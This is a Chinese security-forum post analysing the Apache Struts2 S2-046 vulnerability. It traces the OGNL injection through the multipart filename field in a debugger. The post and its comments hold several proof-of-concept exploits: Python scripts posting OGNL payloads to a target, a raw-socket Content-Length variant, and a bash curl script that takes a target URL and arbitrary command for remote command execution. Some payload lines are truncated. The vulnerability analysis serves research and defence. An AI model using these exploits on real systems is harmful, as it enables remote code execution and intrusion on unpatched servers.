S2-046漏洞调试及初步分析

cryin / 2017-03-21 11:02:00 / 浏览数 10035 安全技术 漏洞分析 顶(0) 踩(0)

以为S2-045暂告一段落了。今天在订阅的sec-wiki又看到出来个Struts2-046: A new vector，S2-046漏洞和S2-045漏洞很相似，都是由于对Header某个字段信息处理发生异常，错误信息连带着payload同过buildErrorMessage函数带入LocalizedTextUtil.f
但是不同的是，这次漏洞的触发点在Content-Length和Content-Disposition字段的filename中。

最早看到的网上的poc是通过Content-Disposition字段的filename字段触发的。POC发出post请求形如：

从网上流传的POC地址拿到demo程序https://github.com/pwntester/S2-046-PoC，按照他的说明，我也用同样的方式把程序跑起来进行测试。如下：

Demo的页面如下：

开始用github给出的poc测试，因为不直观只能在idea的log中看到漏洞触发的信息，很快看到安全客http://bobao.360.cn/learning/detail/3571.html已经给出了poc并验

```
#!/usr/bin/env python
# encoding:utf-8
import requests
class Sugarcrm():
   def poctest(self):
       boundary="---------------------------735323031399963166993862150"
       paylaod="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=
       url = 'http://10.65.10.195:8080/doUpload.action'
       headers = {'Content-Type': 'multipart/form-data; boundary='+boundary+''}
       data ="--"+boundary+"\r\nContent-Disposition: form-data; name=\"foo\"; filename=\""+paylaod+"\0b\"\r\nContent-Type: tex
       requests.post(url, headers=headers,data=data)

if __name__ == '__main__':
   test = Sugarcrm()
   test.poctest()
```

用之前sugarcrm反序列化的脚本改的，可以忽视类名。先测试验证漏洞如下:

由于本机搭的环境，很多几个同事都在测，回显总是500，电脑卡到无法打开Word。这里将poc执行的命令修改为calc.exe。从idea的日志中可以看到漏洞触发的大概信息，

这就简单了，根据上面的函数调用先后，在几个地方下断点,分别是JakartaStreamMultiPartRequest.parse、JakartaStreamMultiPartRequest.processFileItemStreamAs
jetty:run -DskipTests，就可以以调试模式运行tomcat了。设置如下：

首先在JakartaStreamMultiPartRequest.parse函数中进入processUpload函数。继续跟进：

在processUpload函数中会执行到processFileItemStreamAsFileField并进入。

这里进入getName函数

看下getName函数的定义，是调用了Streams.checkFileName函数。

进入checkFileName函数，跟进发现在处理POC代码filename字段中的\0b字符时触发异常。

跟进异常，可以看到filename的值已经被传入异常处理函数。

随后继续根进，程序流程到了一开始的JakartaStreamMultiPartRequest.parse函数中，并进入buildErrorMessage函数并传入了异常消息。继续跟进进入了下好断点的Loc

另外一个触发点是Content-Length 的长度值超长，网上POC给出的是Content-Length: 1000000000.但其它同事并没有测试成功。我猜想这里如果真触发异常。也需要有构造好的payload一同带进异常消息。和启明的@孤水绕城同学聊，据他介绍该字段触发异

但每次用burp修改大小并发送请求时。大小并没有改变。导致无法进一步验证。这个还需要再研究。

参考

[1] http://bobao.360.cn/learning/detail/3571.html

[2] http://bobao.360.cn/learning/detail/3639.html

[3] https://github.com/pwntester/S2-046-PoC

[4] https://cwiki.apache.org/confluence/display/WW/S2-046

[5] https://github.com/apache/struts/

[6] https://sec-wiki.com/news/10004

点击收藏 | 0 关注 | 1

上一篇：Windows/*nix下DNS传... 下一篇：读大型网站架构笔记

1. 11 条回复


hades 2017-03-21 12:25:45

辛苦了哈

0 回复Ta


jkgh006 2017-03-21 14:12:53

漏洞确实存在的content-length

参考：https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#
http://bobao.360.cn/learning/detail/3639.html

Content-Length 的长度值超长

这个漏洞需要在strust.xml中加入 <constant name="struts.multipart.parser" value="jakarta-stream" />才能触发。然而这个jakarta-stream很少使用

实际测试，找了一批存在046漏洞的站点，发现content-length 测试并不成功，应该说概率很低

[code]#!/usr/bin env python
import socket
host="xxxxx"
se=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
se.connect((host,80))
se.send("GET / HTTP/1.1\n")
se.send("User-Agent:curl/7.29.0\n")
se.send("Host:"+host+"\n")
se.send("Accept:/\n")
se.send("Content-Type:multipart/form-data; boundary=----------735323031399963166993862150\n")
se.send("Connection:close\n")
se.send("Content-Length:1000000000\n")
se.send("\n\n")
se.send("----------735323031399963166993862150\n")
se.send('Content-Disposition: form-data; name="foo";
filename="%{#context[\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'].addHeader(\'X-Test\',\'Kaboom\')}"\n')
se.send("Content-Type: text/plain\n\n")
se.send("x\n")
se.send("----------735323031399963166993862150--\n\n")
while True:
 buf = se.recv(1024)
 if not len(buf):
  break
 print buf[/code]

0 回复Ta


gsrc 2017-03-21 14:53:10

膜拜大牛们

0 回复Ta


cryin 2017-03-22 02:01:41

厉害，感谢分享POC，我正好调试分析下。。

0 回复Ta


master 2017-03-22 03:51:18

我是来拜师的，顺便学习的。

0 回复Ta


cover 2017-03-22 08:16:27

http分隔符不应该是\r\n么。这poc 能用么

0 回复Ta


烤冷面加培根 2017-03-23 01:03:44

burp修改大小发送请求失败时候，可以试着去掉菜单栏Repeater-->Update
Content-Length的勾选，然后进行实验，这样修改的大小不会在被burp修改，但是我利用这个方法去修改包也没有测试成功，另附上测试成功的poc（.sh）
[attachment=4434]

!/bin/bash

```
url=$1
cmd=$2
shift
shift

boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#con
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().get

printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type:
text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close"
--data-binary @- $@
```

0 回复Ta


烤冷面加培根 2017-03-23 01:07:37

为什么我发的另外两个图片变成了

这两个呢？？

0 回复Ta


陈浮生 2017-03-23 03:01:56

[code]#!/usr/bin/env python

encoding:utf-8

```
import requests
class struts2046():
  def poc(self):
    boundary="--------------------------735323031399963166993862150"
    paylaod="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#cc
    url = 'http://127.0.0.1/test.action&#39;
    headers = {'Content-Type': 'multipart/form-data; boundary='+boundary+''}
    data ="--"+boundary+"\r\nContent-Disposition: form-data; name=\"foo\"; filename=\""+paylaod+"\0b\"\r\nContent-Type:
text/plain\r\n\r\nx\r\n--"+boundary+"--"
    r = requests.post(url, headers=headers,data=data)
    return r.text
if name == 'main':
  test = struts2046()
  print test.poc()[/code]
```

通过楼主的脚本成功了，前天的时候被 \0b 折磨了半天

0 回复Ta


cryin 2017-03-23 07:56:50

是另一个poc的图么，，可以用markdown来发图

0 回复Ta


烤冷面加培根 2017-03-24 08:44:20

哦哦，知道了，找个机会试试，多谢你了

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板